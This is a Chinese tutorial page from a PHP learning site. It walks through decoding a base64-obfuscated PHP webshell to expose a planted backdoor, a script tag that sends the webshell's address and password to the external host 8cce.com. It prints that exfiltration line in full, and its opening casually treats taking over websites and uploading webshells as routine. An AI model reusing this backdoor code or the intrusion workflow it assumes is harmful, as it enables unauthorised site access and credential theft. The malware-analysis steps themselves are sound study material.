网站地图    收藏   

主页 > 后端 > 网站安全 >

揭秘phpwebshell中的后门 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 仅将此文献给还在为别人的webshell做出贡献的同学。拿下一个网站后,理所当然的传webshll,提权。但是一些人会在webshell中插入小小的一段代码,这样你辛苦拿下的webshell的地址和密码等...

仅将此文献给还在为别人的webshell做出贡献的同学。

拿下一个网站后,理所当然的传webshll,提权。

但是一些人会在webshell中插入小小的一段代码,这样你辛苦拿下的webshell的地址和密码等等就会统统发送给在webshell插后门的人。

这段代码可大可小,下面是我随便找的一个phpwebshell,来解密一下其中的后门。

 

首先是用记事本打开这个webshell,可以看到,这个shell的大部分代码都是经过base64编码的。运行时在解码运行,这样别人就不能直接看到明文的代码。

 

j1

 

 

接下来就是解密的过程了,首先,我们将eval改成print_r

 

 

j2

 

 

这里说一下,解密之前要先把PHP的环境搭建好。

然后保存运行。

 

 

j3

 

 

运行后可以看到,基本的代码都直接显示了出来,这样就得到了这个webshell中的大部分代码,但是图中还有一部分是base64编码的代码,不过只是一小段,所以我们可以自己写个小的php来显示出来

<?php
print_r(base64_decode('经过base64编码的代码'));
?>

www.2cto.com

首先我找到的第一段编码是base64_decode(‘PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNj
UlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9′)

这段代码赋值给了$copyurl变量。

 

把这段编码放进上面的那一小段解密用的php内,然后运行。

j4

可以看到,运行结果是空白的,但是查看源文件后可以看到那么一段script。其中http://后面的带百分号的可以去URL解码一下

这就是解码后的网址了。
<script src=’http://8cce.com/cert/?cert=13&u=

先复制这段可疑的script,放文本内。

 

在之前那段base64编码的下面,我又发现了被赋值给变量$copyurll的编码base64_decode(‘Jz48L3NjcmlwdD4=’)
将这段编码通过上面的方法解码后显示的结果是:’></script>

这段代码正好和上面解密的一段结合成了完整的一段script

<script src=’http://8cce.com/cert/?cert=13&u=’></script>

 

之后我们可以看看这段可疑的代码是做什么用的,因为是分别赋值给了$copyurl和$copyurll,所以我们直接搜索这两个变量就行了

以下是搜索的结果

 

j5
可以看到:echo “”.$copyurl.$serveru.”&p=”.$serverp.$copyurll.”";
这段代码里,$serveru和$serverp分别是webshell地址和webshell的密码。

那echo完整的语句就成了:echo <script src=’http://8cce.com/cert/?cert=13&u=webshell地址&p=webshell密码’></script>

再结合这段echo前面的代码可以看出,在验证webshell密码正确后,再把密码通过script提交到解密后的网址中。

 

通过以上解密,就可以看出这个webshell是已经被人插入了后门,当然也有可能不止这一个后门。

所以以后大家在用webshell首先要注意一下是否已经被人插入了后门,否则你可能辛苦拿下的网站别人轻而易举的直接登陆你的webshell就控制了这个网站

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论